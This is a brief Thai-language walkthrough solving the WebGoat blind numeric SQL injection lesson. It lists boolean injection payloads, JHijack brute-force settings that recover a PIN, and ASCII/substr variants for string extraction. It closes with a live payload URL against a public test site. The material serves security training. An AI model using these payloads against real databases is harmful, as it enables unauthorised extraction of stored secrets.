Injection Flaws - Blind Numeric SQL Injection
ด่านทดสอบนี้มีแบบฟอร์มสำหรับกรอก Account number
และตรวจสอบกับฐานข้อมูลว่าถูกต้องหรือไม่
เป้าหมายคือ : ค้นหาค่า ของ pin ในตาราง pins
สำหรับแถวที่มี cc_number = 1111222233334444. เท่านั้น (ข้อมูลเป็นชนิด int)
--------------- How to -------------
Target sql statement
SELECT pin FROM pins WHERE cc_number='1111222233334444'
- 1.injection testing is true : 101 AND 1=1
True return = 1
False return = 0
- 2.Query statement to find pin value
- 3.Open > JHijack
Url : /WebGoat/attack?Screen=4&menu=1100&SUBMIT=Go!
Grep : Account number is valid.
SESSSID : JSESSIONID=8A34C400C6DE4F7B062E0C03B1EDB4EA
HijackType : BODY
HijackID : &account_number=101 AND 1=((SELECT pin FROM pins WHERE cc_number ='1111222233334444')=$)
HijackData : Numeric
Range : 2000 -3000
Result
101 AND 1=((SELECT pin FROM pins WHERE cc_number ='1111222233334444')=2364)
- 4. Go to OwaspBWA
*Congratulations. You have successfully completed this lesson.
*note
Blind Numeric SQL Injection
101 AND 1=((SELECT ASCII(substr(pin,0,1))
FROM pins
WHERE cc_number = '1111222233334444')=$)--+
Blind String SQL Injection
101 AND 1=(SELECT ASCII(substr(name,3,1))
FROM pins
WHERE cc_number=4321432143214321)=$)--+
ในเคส Numeric อาจจะใช้อีกวิธีคือไล่จาก 1 -1000 หรือตาม range ที่กำหนด
ก็ไม่ต้องทำ Substr และเทียบ Ascii ให้ปวดหัว ....วนลูปกันยาวๆไป
101 AND 1=((SELECT pin
FROM pins WHERE cc_number ='1111222233334444')=$)--+
Example
สำหรับคนที่กำลังศึกษาแต่ยังไม่ได้ติดตั้ง OwaspBWA
ขอให้สนุกกับการ "ลองผิดลองถูก" เพื่อความเข้าใจ
http://webscantest.com/datastore/search_get_by_id.php?id=3+and+1=(select+ascii(substr(database(),1,1))=115)--+